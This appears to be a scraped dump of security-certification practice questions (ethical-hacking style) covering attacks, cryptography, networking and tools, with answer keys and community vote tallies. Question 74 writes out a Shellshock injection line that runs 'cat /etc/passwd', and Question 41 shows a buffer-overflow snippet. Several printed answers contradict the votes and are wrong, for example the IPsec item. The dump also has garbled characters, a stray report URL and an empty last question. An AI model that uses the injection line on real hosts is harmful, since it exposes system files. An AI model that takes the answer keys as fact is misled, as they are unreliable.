Custom View Settings

Topic 1 - Single Topic

Question #1 *Topic 1*

While performing online banking using a Web browser, a user receives an email that contains a link to an interesting Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a funds transfer that took place. What Web browser-based security vulnerability was exploited to compromise the user?

A. Clickjacking

B. Cross-Site Scripting

C. Cross-Site Request Forgery

D. Web form input validation

Correct Answer: *C*

Question #2 *Topic 1*

Which service in a PKI will vouch for the identity of an individual or company?

A. KDC

B. CR

C. CBC

D. CA

Correct Answer: *D*

Question #3 *Topic 1*

Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users.

A. LDAP Injection attack

B. Cross-Site Scripting (XSS)

C. SQL injection attack

D. Cross-Site Request Forgery (CSRF)

Correct Answer: *B*

Question #4 *Topic 1*

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of the OSI layer does the encryption and decryption of the message take place?

A. Application

B. Transport

C. Session

D. Presentation

Correct Answer: *D*

Question #5 *Topic 1*

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client. What is a possible source of this problem?

A. The WAP does not recognize the client's MAC address

B. The client cannot see the SSID of the wireless network

C. Client is configured for the wrong channel

D. The wireless client is not configured to use DHCP

Correct Answer: *A*

Question #6 *Topic 1*

If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use?

A. -r

B. -F

C. -P

D. -sP

Correct Answer: *B*

Question #7 *Topic 1*

Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?

A. SOA

B. biometrics

C. single sign on

D. PKI

Correct Answer: *D*

Question #8 *Topic 1*

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email (boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What testing method did you use?

A. Social engineering

B. Piggybacking

C. Tailgating

D. Eavesdropping

Correct Answer: *A*

Question #9 *Topic 1*

If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?

A. Traceroute

B. Hping

C. TCP ping

D. Broadcast ping

Correct Answer: *B*

Question #10 *Topic 1*

Which is the first step followed by Vulnerability Scanners for scanning a network?

A. OS Detection

B. Firewall detection

C. TCP/UDP Port scanning

D. Checking if the remote host is alive

Correct Answer: *D*

Question #11 *Topic 1*

Which of the following programs is usually targeted at Microsoft Office products?

A. Polymorphic virus

B. Multipart virus

C. Macro virus

D. Stealth virus

Correct Answer: *C*

Question #12 *Topic 1*

In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?

A. Privilege Escalation

B. Shoulder-Surfing

C. Hacking Active Directory

D. Port Scanning

Correct Answer: *A*

Community vote distribution

A (100%)

Question #13 *Topic 1*

A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the
192.168.1.0/24. Which of the following has occurred?

A. The computer is not using a private IP address.

B. The gateway is not routing to a public IP address.

C. The gateway and the computer are not on the same network.

D. The computer is using an invalid IP address.

Correct Answer: *B*

Question #14 *Topic 1*

Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?

A. 113

B. 69

C. 123

D. 161

Correct Answer: *C*

Question #15 *Topic 1*

Due to a slowdown of normal network operations, the IT department decided to monitor internet traffic for all of the employees. From a legal standpoint, what would be troublesome to take this kind of measure?

A. All of the employees would stop normal work activities

B. IT department would be telling employees who the boss is

C. Not informing the employees that they are going to be monitored could be an invasion of privacy.

D. The network could still experience traffic slow down.

Correct Answer: *C*

Question #16 *Topic 1*

Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

A. Nikto

B. John the Ripper

C. Dsniff

D. Snort

Correct Answer: *A*

Question #17 *Topic 1*

An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.
What is the most likely cause?

A. The network devices are not all synchronized.

B. Proper chain of custody was not observed while collecting the logs.

C. The attacker altered or erased events from the logs.

D. The security breach was a false positive.

Correct Answer: *A*

Question #18 *Topic 1*

DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed.
What command is used to determine if the entry is present in DNS cache?

A. nslookup -fullrecursive update.antivirus.com

B. dnsnooping -rt update.antivirus.com

C. nslookup -norecursive update.antivirus.com

D. dns --snoop update.antivirus.com

Correct Answer: *C*

Question #19 *Topic 1*

Which of the following is an extremely common IDS evasion technique in the web world?

A. Spyware

B. Subnetting

C. Unicode Characters

D. Port Knocking

Correct Answer: *C*

Question #20 *Topic 1*

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

A. Passwords

B. File permissions

C. Firewall rulesets

D. Usernames

Correct Answer: *A*

Question #21 *Topic 1*

Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they were victims of DNS Cache Poisoning.
What should Bob recommend to deal with such a threat?

A. The use of security agents in clients' computers

B. The use of DNSSEC

C. The use of double-factor authentication

D. Client awareness

Correct Answer: *B*

Question #22 *Topic 1*

During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound
HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?

A. Circuit

B. Stateful

C. Application

D. Packet Filtering

Correct Answer: *B*

Community vote distribution

C (86%) 14%

Question #23 *Topic 1*

By using a smart card and pin, you are using a two-factor authentication that satisfies

A. Something you are and something you remember

B. Something you have and something you know

C. Something you know and something you are

D. Something you have and something you are

Correct Answer: *B*

Question #24 *Topic 1*

`.....is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.`
Fill in the blank with appropriate choice.

A. Evil Twin Attack

B. Sinkhole Attack

C. Collision Attack

D. Signal Jamming Attack

Correct Answer: *A*

Question #25 *Topic 1*

A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server. Based on this information, what should be one of your key recommendations to the bank?

A. Place a front-end web server in a demilitarized zone that only handles external web traffic

B. Require all employees to change their anti-virus program with a new one

C. Move the financial data to another server on the same IP subnet

D. Issue new certificates to the web servers from the root certificate authority

Correct Answer: *A*

Question #26 *Topic 1*

What term describes the amount of risk that remains after the vulnerabilities are classified and the countermeasures have been deployed?

A. Residual risk

B. Impact risk

C. Deferred risk

D. Inherent risk

Correct Answer: *A*

Question #27 *Topic 1*

Which of the following is the best countermeasure to encrypting ransomwares?

A. Use multiple antivirus softwares

B. Pay a ransom

C. Keep some generation of off-line backup

D. Analyze the ransomware to get decryption key of encrypted data

Correct Answer: *C*

Question #28 *Topic 1*

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple, small sized packets to the target computer, making it very difficult for an
IDS to detect the attack signatures. Which tool can be used to perform session splicing attacks?

A. tcpsplice

B. Burp

C. Hydra

D. Whisker

Correct Answer: *D*

Question #29 *Topic 1*

You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.
What is the best Nmap command you will use?

A. nmap -T4 -q 10.10.0.0/24

B. nmap -T4 -F 10.10.0.0/24

C. nmap -T4 -r 10.10.1.0/24

D. nmap -T4 -O 10.10.0.0/24

Correct Answer: *B*

Question #30 *Topic 1*

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.
What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?

A. Service Level Agreement

B. Project Scope

C. Rules of Engagement

D. Non-Disclosure Agreement

Correct Answer: *C*

Question #31 *Topic 1*

Which of the following is the BEST way to defend against network sniffing?

A. Using encryption protocols to secure network communications

B. Register all machines MAC Address in a Centralized Database

C. Use Static IP Address

D. Restrict Physical Access to Server Rooms hosting Critical Servers

Correct Answer: *A*

Community vote distribution

A (90%) 10%

Question #32 *Topic 1*

Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?

A. Iris patterns

B. Voice

C. Height and Weight

D. Fingerprints

Correct Answer: *C*

Question #33 *Topic 1*

Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end-to-end encryption of the connection?

A. SFTP

B. Ipsec

C. SSL

D. FTPS

Correct Answer: *B*

Question #34 *Topic 1*

To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https. Which of the following firewall rules meets this requirement?

A. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 443) then permit

B. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 80 or 443) then permit

C. if (source matches 10.20.20.1 and destination matches 10.10.10.0/24 and port matches 443) then permit

D. if (source matches 10.10.10.0 and destination matches 10.20.20.1 and port matches 443) then permit

Correct Answer: *A*

Question #35 *Topic 1*

Jim's company regularly performs backups of their critical servers. But the company cannot afford to send backup tapes to an off-site vendor for long-term storage and archiving. Instead, Jim's company keeps the backup tapes in a safe in the office. Jim's company is audited each year, and the results from this year's audit show a risk because backup tapes are not stored off-site. The Manager of Information Technology has a plan to take the backup tapes home with him and wants to know what two things he can do to secure the backup tapes while in transit?

A. Encrypt the backup tapes and transport them in a lock box.

B. Degauss the backup tapes and transport them in a lock box.

C. Hash the backup tapes and transport them in a lock box.

D. Encrypt the backup tapes and use a courier to transport them.

Correct Answer: *A*

Question #36 *Topic 1*

You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL.
What may be the problem?

A. Traffic is Blocked on UDP Port 53

B. Traffic is Blocked on TCP Port 80

C. Traffic is Blocked on TCP Port 54

D. Traffic is Blocked on UDP Port 80

Correct Answer: *A*

Question #37 *Topic 1*

Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a Linux platform?

A. Kismet

B. Abel

C. Netstumbler

D. Nessus

Correct Answer: *A*

Question #38 *Topic 1*

You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8.
While monitoring the data, you find a high number of outbound connections. You see that IP's owned by XYZ (Internal) and private IP's are communicating to a
Single Public IP. Therefore, the Internal IP's are sending data to the Public IP.
After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised.
What kind of attack does the above scenario depict?

A. Botnet Attack

B. Spear Phishing Attack

C. Advanced Persistent Threats

D. Rootkit Attack

Correct Answer: *A*

Question #39 *Topic 1*

Scenario:
1. Victim opens the attacker's web site.
2. Attacker sets up a web site which contains interesting and attractive content like `~Do you want to make $1000 in a day?'.
3. Victim clicks to the interesting and attractive content URL.
4. Attacker creates a transparent `~iframe' in front of the URL which the victim attempts to click, so the victim thinks that he/she clicks on the `~Do you want to make
$1000 in a day?' URL but actually he/she clicks on the content or URL that exists in the transparent 'iframe' which is setup by the attacker.
What is the name of the attack which is mentioned in the scenario?

A. Session Fixation

B. HTML Injection

C. HTTP Parameter Pollution

D. Clickjacking Attack

Correct Answer: *D*

Question #40 *Topic 1*

A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named `nc.` The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.
What kind of vulnerability must be present to make this remote attack possible?

A. File system permissions

B. Privilege escalation

C. Directory traversal

D. Brute force login

Correct Answer: *A*

Community vote distribution

B (100%)

Question #41 *Topic 1*

Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in bounds checking mechanism?
Code:
#include <string.h> int main(){ char buffer[8];
strcpy(buffer, ``1111111111111111111111111111``);} Output: Segmentation fault

A. C#

B. Python

C. Java

D. C++

Correct Answer: *D*

Question #42 *Topic 1*

Internet Protocol Security IPsec is actually a suite pf protocols. Each protocol within the suite provides different functionality. Collective IPsec does everything except.

A. Protect the payload and the headers

B. Encrypt

C. Work at the Data Link Layer

D. Authenticate

Correct Answer: *D*

Community vote distribution

C (93%) 7%

Question #43 *Topic 1*

An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?

A. Make sure that legitimate network routers are configured to run routing protocols with authentication.

B. Disable all routing protocols and only use static routes

C. Only using OSPFv3 will mitigate this risk.

D. Redirection of the traffic cannot happen unless the admin allows it explicitly.

Correct Answer: *A*

Community vote distribution

A (100%)

Question #44 *Topic 1*

Which method of password cracking takes the most time and effort?

A. Dictionary attack

B. Shoulder surfing

C. Rainbow tables

D. Brute force

Correct Answer: *D*

Question #45 *Topic 1*

An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction www.google.com to his own IP address. Now when the employees of the office want to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?

A. MAC Flooding

B. Smurf Attack

C. DNS spoofing

D. ARP Poisoning

Correct Answer: *C*

Question #46 *Topic 1*

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System
(OS) version installed. Considering that NMAP result below, which of the following is likely to be installed on the target machine by the OS?
Starting NMAP 5.21 at
2011-03-15 11:06 NMAP scan report for 172.16.40.65 Host is up (1.00s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 139/tcp open netbios-ssn 515/tcp open 631/tcp open ipp 9100/tcp open MAC Address: 00:00:48:0D:EE:8

A. The host is likely a Linux machine.

B. The host is likely a printer.

C. The host is likely a router.

D. The host is likely a Windows machine.

Correct Answer: *B*

Question #47 *Topic 1*

When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?

A. The amount of time and resources that are necessary to maintain a biometric system

B. How long it takes to setup individual user accounts

C. The amount of time it takes to be either accepted or rejected from when an individual provides identification and authentication information

D. The amount of time it takes to convert biometric data into a template on a smart card

Correct Answer: *C*

Question #48 *Topic 1*

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

A. nmap -A - Pn

B. nmap -sP -p-65535 -T5

C. nmap -sT -O -T0

D. nmap -A --host-timeout 99 -T1

Correct Answer: *C*

Question #49 *Topic 1*

What does the `"oX flag do in an Nmap scan?

A. Perform an eXpress scan

B. Output the results in truncated format to the screen

C. Output the results in XML format to a file

D. Perform an Xmas scan

Correct Answer: *C*

Question #50 *Topic 1*

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

A. Perform a vulnerability scan of the system.

B. Determine the impact of enabling the audit feature.

C. Perform a cost/benefit analysis of the audit feature.

D. Allocate funds for staffing of audit log review.

Correct Answer: *B*

Community vote distribution

B (100%)

Question #51 *Topic 1*

Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra scrutiny and is ideal for observing sensitive network segments?

A. Honeypots

B. Firewalls

C. Network-based intrusion detection system (NIDS)

D. Host-based intrusion detection system (HIDS)

Correct Answer: *C*

Question #52 *Topic 1*

The collection of potentially actionable, overt, and publicly available information is known as

A. Open-source intelligence

B. Real intelligence

C. Social intelligence

D. Human intelligence

Correct Answer: *A*

Question #53 *Topic 1*

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.

B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.

C. Symmetric encryption allows the server to security transmit the session keys out-of-band.

D. Asymmetric cryptography is computationally expensive in comparison. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Correct Answer: *A*

Community vote distribution

D (91%) 9%

Question #54 *Topic 1*

The change of a hard drive failure is once every three years. The cost to buy a new hard drive is $300. It will require 10 hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns $10/hour.
Calculate the SLE, ARO, and ALE. Assume the EF = 1(100%). What is the closest approximate cost of this replacement and recovery operation per year?

A. $1320

B. $440

C. $100

D. $146

Correct Answer: *D*

Question #55 *Topic 1*

What is the known plaintext attack used against DES which gives the result that encrypting plaintext with one DES key followed by encrypting it with a second DES key is no more secure than using a single key?

A. Man-in-the-middle attack

B. Meet-in-the-middle attack

C. Replay attack

D. Traffic analysis attack

Correct Answer: *B*

Question #56 *Topic 1*

Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access.
A camera captures people walking and identifies the individuals using Steve's approach.
After that, people must approximate their RFID badges. Both the identifications are required to open the door.
In this case, we can say:

A. Although the approach has two phases, it actually implements just one authentication factor

B. The solution implements the two authentication factors: physical object and physical characteristic

C. The solution will have a high level of false positives

D. Biological motion cannot be used to identify people

Correct Answer: *B*

Community vote distribution

B (100%)

Question #57 *Topic 1*

What is not a PCI compliance recommendation?

A. Use a firewall between the public network and the payment card data.

B. Use encryption to protect all transmission of card holder data over any public network.

C. Rotate employees handling credit card transactions on a yearly basis to different departments.

D. Limit access to card holder data to as few individuals as possible.

Correct Answer: *C*

Community vote distribution

C (100%)

Question #58 *Topic 1*

What is the minimum number of network connections in a multihomed firewall?

A. 3

B. 5

C. 4

D. 2

Correct Answer: *A*

Community vote distribution

D (88%) 13%

Question #59 *Topic 1*

Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is
50%. Security staff has taken some measures and implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?

A. Accept the risk

B. Introduce more controls to bring risk to 0%

C. Mitigate the risk

D. Avoid the risk

Correct Answer: *A*

Question #60 *Topic 1*

You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the
Internet. What is the recommended architecture in terms of server placement?

A. All three servers need to be placed internally

B. A web server facing the Internet, an application server on the internal network, a database server on the internal network

C. A web server and the database server facing the Internet, an application server on the internal network

D. All three servers need to face the Internet so that they can communicate between themselves

Correct Answer: *B*

Question #61 *Topic 1*

An attacker, using a rogue wireless AP, performed an MITM attack and injected an HTML code to embed a malicious applet in all HTTP connections.
When users accessed any page, the applet ran and exploited many machines.
Which one of the following tools the hacker probably used to inject HTML code?

A. Wireshark

B. Ettercap

C. Aircrack-ng

D. Tcpdump

Correct Answer: *B*

Question #62 *Topic 1*

Which mode of IPSec should you use to assure security and confidentiality of data within the same LAN?

A. ESP transport mode

B. ESP confidential

C. AH permiscuous

D. AH Tunnel mode

Correct Answer: *A*

Question #63 *Topic 1*

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

A. Exploration

B. Investigation

C. Reconnaissance

D. Enumeration

Correct Answer: *C*

Question #64 *Topic 1*

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

A. Macro virus

B. Stealth/Tunneling virus

C. Cavity virus

D. Polymorphic virus

Correct Answer: *B*

Question #65 *Topic 1*

The `Gray-box testing` methodology enforces what kind of restriction?

A. Only the external operation of a system is accessible to the tester.

B. The internal operation of a system in only partly accessible to the tester.

C. Only the internal operation of a system is known to the tester.

D. The internal operation of a system is completely known to the tester.

Correct Answer: *B*

Question #66 *Topic 1*

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?

A. False negative

B. True negative

C. True positive

D. False positive

Correct Answer: *D*

Question #67 *Topic 1*

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing `" Reports https://ibt1.prometric.com/users/custom/report_queue/rq_str... corporate network. What tool should the analyst use to perform a Blackjacking attack?

A. Paros Proxy

B. BBProxy

C. Blooover

D. BBCrack

Correct Answer: *B*

Question #68 *Topic 1*

When you are getting information about a web server, it is very important to know the HTTP Methods (GET, POST, HEAD, PUT, DELETE, TRACE) that are available because there are two critical methods (PUT and DELETE). PUT can upload a file to the server and DELETE can delete a file from the server. You can detect all these methods (GET, POST, HEAD, PUT, DELETE, TRACE) using NMAP script engine. What Nmap script will help you with this task?

A. http-methods

B. http enum

C. http-headers

D. http-git

Correct Answer: *A*

Question #69 *Topic 1*

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?

A. A biometric system that bases authentication decisions on behavioral attributes.

B. A biometric system that bases authentication decisions on physical attributes.

C. An authentication system that creates one-time passwords that are encrypted with secret keys.

D. An authentication system that uses passphrases that are converted into virtual passwords.

Correct Answer: *C*

Question #70 *Topic 1*

Which of the following is a low-tech way of gaining unauthorized access to systems?

A. Social Engineering

B. Eavesdropping

C. Scanning

D. Sniffing

Correct Answer: *A*

Community vote distribution

A (67%) B (33%)

Question #71 *Topic 1*

Which system consists of a publicly available set of databases that contain domain name registration contact information?

A. WHOIS

B. CAPTCHA

C. IANA

D. IETF

Correct Answer: *A*

Community vote distribution

A (60%) C (40%)

Question #72 *Topic 1*

Why is a penetration test considered to be more thorough than vulnerability scan?

A. Vulnerability scans only do host discovery and port scanning by default.

B. A penetration test actively exploits vulnerabilities in the targeted infrastructure, while a vulnerability scan does not typically involve active exploitation.

C. It is not ג€" a penetration test is often performed by an automated tool, while a vulnerability scan requires active engagement.

D. The tools used by penetration testers tend to have much more comprehensive vulnerability databases.

Correct Answer: *B*

Community vote distribution

B (100%)

Question #73 *Topic 1*

Bob received this text message on his mobile phone: `Hello, this is Scott Smelby from the Yahoo Bank. Kindly contact me for a vital transaction on: scottsmelby@yahoo.com`. Which statement below is true?

A. This is a scam as everybody can get a @yahoo address, not the Yahoo customer service employees.

B. This is a scam because Bob does not know Scott.

C. Bob should write to scottmelby@yahoo.com to verify the identity of Scott.

D. This is probably a legitimate message as it comes from a respectable organization.

Correct Answer: *A*

Question #74 *Topic 1*

env x='(){ :;};echo exploit' bash `"c `˜cat/etc/passwd'
What is the Shellshock bash vulnerability attempting to do on a vulnerable Linux host?

A. Removes the passwd file

B. Changes all passwords in passwd

C. Add new user to the passwd file

D. Display passwd content to prompt

Correct Answer: *D*

Question #75 *Topic 1*

Which of the following is assured by the use of a hash?

A. Authentication

B. Confidentiality

C. Availability

D. Integrity

Correct Answer: *D*

Question #76 *Topic 1*

Which results will be returned with the following Google search query? site:target.com `" site:Marketing.target.com accounting

A. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting.

B. Results matching all words in the query.

C. Results for matches on target.com and Marketing.target.com that include the word ȥ€accountingȥ€

D. Results matching ȥ€accountingȥ€ in domain target.com but not on the site Marketing.target.com

Correct Answer: *D*

Community vote distribution

D (100%)

Question #77 *Topic 1*

Email is transmitted across the Internet using the Simple Mail Transport Protocol. SMTP does not encrypt email, leaving the information in the message vulnerable to being read by an unauthorized person. SMTP can upgrade a connection between two mail servers to use TLS. Email transmitted by SMTP over TLS is encrypted. What is the name of the command used by SMTP to transmit email over TLS?

A. OPPORTUNISTICTLS

B. UPGRADETLS

C. FORCETLS

D. STARTTLS

Correct Answer: *D*

Question #78 *Topic 1*

In the field of cryptanalysis, what is meant by a `rubber-hose` attack?

A. Forcing the targeted keystream through a hardware-accelerated device such as an ASIC.

B. A backdoor placed into a cryptographic algorithm by its creator.

C. Extraction of cryptographic secrets through coercion or torture.

D. Attempting to decrypt ciphertext by making logical assumptions about the contents of the original plaintext.

Correct Answer: *C*

Question #79 *Topic 1*

You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine. What Wireshark filter will show the connections from the snort machine to kiwi syslog machine?

A. tcp.srcport= = 514 && ip.src= = 192.168.0.99

B. tcp.srcport= = 514 && ip.src= = 192.168.150

C. tcp.dstport= = 514 && ip.dst= = 192.168.0.99

D. tcp.dstport= = 514 && ip.dst= = 192.168.0.150

Correct Answer: *D*

Question #80 *Topic 1*

What two conditions must a digital signature meet?

A. Has to be the same number of characters as a physical signature and must be unique.

B. Has to be unforgeable, and has to be authentic.

C. Must be unique and have special characters.

D. Has to be legible and neat.

Correct Answer: *B*

Question #81 *Topic 1*

A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?

A. Attempts by attackers to access the user and password information stored in the company's SQL database.

B. Attempts by attackers to access Web sites that trust the Web browser user by stealing the user's authentication credentials.

C. Attempts by attackers to access passwords stored on the user's computer without the user's knowledge.

D. Attempts by attackers to determine the user's Web browser usage patterns, including when sites were visited and for how long.

Correct Answer: *B*

Community vote distribution

B (100%)

Question #82 *Topic 1*

What is correct about digital signatures?

A. A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.

B. Digital signatures may be used in different documents of the same type.

C. A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.

D. Digital signatures are issued once for each user and can be used everywhere until they expire.

Correct Answer: *A*

Question #83 *Topic 1*

An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?

A. He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.

B. He will activate OSPF on the spoofed root bridge.

C. He will repeat this action so that it escalates to a DoS attack.

D. He will repeat the same attack against all L2 switches of the network.

Correct Answer: *A*

Question #84 *Topic 1*

You have gained physical access to a Windows 2008 R2 server, which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user's password or activate disabled Windows accounts?

A. John the Ripper

B. SET

C. CHNTPW

D. Cain & Abel

Correct Answer: *C*

Community vote distribution

C (100%)

Question #85 *Topic 1*

What does a firewall check to prevent particular ports and applications from getting packets into an organization?

A. Transport layer port numbers and application layer headers

B. Presentation layer headers and the session layer port numbers

C. Network layer headers and the session layer port numbers

D. Application layer port numbers and the transport layer headers

Correct Answer: *A*

Community vote distribution

A (100%)

Question #86 *Topic 1*

An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to "www.MyPersonalBank.com", the user is directed to a phishing site.

Which file does the attacker need to modify?

A. Boot.ini

B. Sudoers

C. Networks

D. Hosts

Correct Answer: *D*

Question #87 *Topic 1*

_____ is a set of extensions to DNS that provide the origin authentication of DNS data to DNS clients (resolvers) so as to reduce the threat of DNS poisoning, spoofing, and similar types of attacks.

A. DNSSEC

B. Resource records

C. Resource transfer

D. Zone transfer

Correct Answer: *A*

Question #88 *Topic 1*

Which of the following incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an organization?

A. Preparation phase

B. Containment phase

C. Identification phase

D. Recovery phase

Correct Answer: *A*

Question #89 *Topic 1*

The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the Central Processing Unit (CPU), rather than passing only the frames that the controller is intended to receive.
Which of the following is being described?

A. Multi-cast mode

B. Promiscuous mode

C. WEM

D. Port forwarding

Correct Answer: *B*

Community vote distribution

B (100%)

Question #90 *Topic 1*

A large mobile telephony and data network operator has a data center that houses network elements. These are essentially large computers running on Linux.
The perimeter of the data center is secured with firewalls and IPS systems.
What is the best security policy concerning this setup?

A. Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed.

B. As long as the physical access to the network elements is restricted, there is no need for additional measures.

C. There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist.

D. The operator knows that attacks and down time are inevitable and should have a backup site.

Correct Answer: *A*

Question #91 *Topic 1*

PGP, SSL, and IKE are all examples of which type of cryptography?

A. Digest

B. Secret Key

C. Public Key

D. Hash Algorithm

Correct Answer: *C*

Question #92 *Topic 1*

Peter is surfing the internet looking for information about DX Company. Which hacking process is Peter doing?

A. Scanning

B. Footprinting

C. Enumeration

D. System Hacking

Correct Answer: *B*

Question #93 *Topic 1*

A hacker is an intelligent individual with excellent computer skills and the ability to explore a computer's software and hardware without the owner's permission.
Their intention can either be to simply gain knowledge or to illegally make changes.
Which of the following class of hacker refers to an individual who works both offensively and defensively at various times?

A. White Hat

B. Suicide Hacker

C. Gray Hat

D. Black Hat

Correct Answer: *C*

Community vote distribution

C (100%)

Question #94 *Topic 1*

During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network.
What is this type of DNS configuration commonly called?

A. DynDNS

B. DNS Scheme

C. DNSSEC

D. Split DNS

Correct Answer: *D*

Question #95 *Topic 1*

